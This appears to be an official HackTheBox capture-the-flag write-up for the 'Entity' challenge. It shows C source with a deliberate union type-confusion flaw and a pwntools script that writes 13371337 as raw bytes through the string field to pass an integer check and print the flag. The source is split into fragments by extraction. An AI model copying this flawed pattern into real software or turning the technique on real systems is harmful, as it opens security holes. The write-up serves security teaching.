



HACKTHEBOX



Entity

7th October 2022 / Document No.
D22.102.253

Prepared By: w3th4nds

Challenge Author(s): w3th4nds / clubby789

Difficulty: **Very Easy**

Classification: Official

Synopsis

Entity is a very easy difficulty challenge that features type confusion via invalid C union access

Skills Required

- Basic C understanding

Skills Learned

- Exploiting text/integer type confusion

Enumeration

Provided with the challenge is this source code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static union {
    unsigned long long integer;
    char string[8];
} DataStore;

typedef enum {
    STORE_GET,
    STORE_SET,
    FLAG
} action_t;

typedef enum {
    INTEGER,
```

```

    STRING
} field_t;

typedef struct {
    action_t act;
    field_t field;
} menu_t;

menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
        case 'T':
            res.act = STORE_SET;
            break;
        case 'R':
            res.act = STORE_GET;
            break;
        case 'C':
            res.act = FLAG;
            return res;
        default:
            puts("\nWhat's this nonsense?!");
            exit(-1);
    }

    printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
        case 'L':
            res.field = INTEGER;
            break;
        case 'S':
            res.field = STRING;
            break;
        default:
            printf("\nYou are doomed!\n");
            exit(-1);
    }
    return res;
}

void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
        case INTEGER:
            sscanf(buf, "%llu", &DataStore.integer);
            if (DataStore.integer == 13371337) {
                puts("\nWhat's this nonsense?!");
                exit(-1);
            }
    }
}

```

```

    }
    break;
case STRING:
    memcpy(DataStore.string, buf, sizeof(DataStore.string));
    break;
}

}

void get_field(field_t f) {
    printf("\nAnything else to try?\n\n>> ");
    switch (f) {
    case INTEGER:
        printf("%llu\n", DataStore.integer);
        break;
    case STRING:
        printf("%.8s\n", DataStore.string);
        break;
    }
}

void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
        }
    }
}

```

The `menu` function allows either 'Turn it off' (STORE_SET), 'Run' (STORE_GET) or 'Cry' (FLAG). If either of the two former options are picked, the player is asked to 'Lie down' or 'Scream', which sets `res.field` to `INTEGER` or `STRING`.

In `main`, the result of this function is switch/cased on:

```
while (1) {
    menu_t result = menu();
    switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
    }
}
```

set_field

```
void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
        case INTEGER:
            sscanf(buf, "%llu", &DataStore.integer);
            if (DataStore.integer == 13371337) {
                puts("\nWhat's this nonsense?!");
                exit(-1);
            }
            break;
        case STRING:
            memcpy(DataStore.string, buf, sizeof(DataStore.string));
            break;
    }
}
```

`DataStore.integer` is set to a number or a string input by the user, but will deny 13371337.

`DataStore` is a union:

```
static union {
    unsigned long long integer;
    char string[8];
} DataStore;
```

The `integer` and `string` fields are stored at the same location, and the program will access them differently depending on the field requested.

get_field

```
void get_field(field_t f) {
    printf("\nAnything else to try?\n\n>> ");
    switch (f) {
        case INTEGER:
            printf("%llu\n", DataStore.integer);
            break;
        case STRING:
            printf("%.8s\n", DataStore.string);
            break;
    }
}
```

This function is similar, simply reading out either the `integer` or `string` field.

get_flag

```
void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}
```

This function simply `cat`s the flag file if the integer field is equal to 13371337. However, inputting this number into the integer field is invalid.

Solving

We can store data in the `string` field without restriction. We are able to store the byte representation of the number 13371337 in the `string` field. When `.integer` is accessed, it will be interpreted as the desired number.

```
#!/usr/bin/python3
from pwn import *

LOCAL = False

if LOCAL:
    r = process('./entity')
else:
    IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
    PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
    r = remote(IP, PORT)

r.sendlineafter(b'>> ', b'T')          # Set field
r.sendlineafter(b'>> ', b'S')          # Set string
r.sendlineafter(b'>> ', p64(13371337)) # Bytes of 13371337
r.sendlineafter(b'>> ', b'C')          # Get flag
```

```
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
```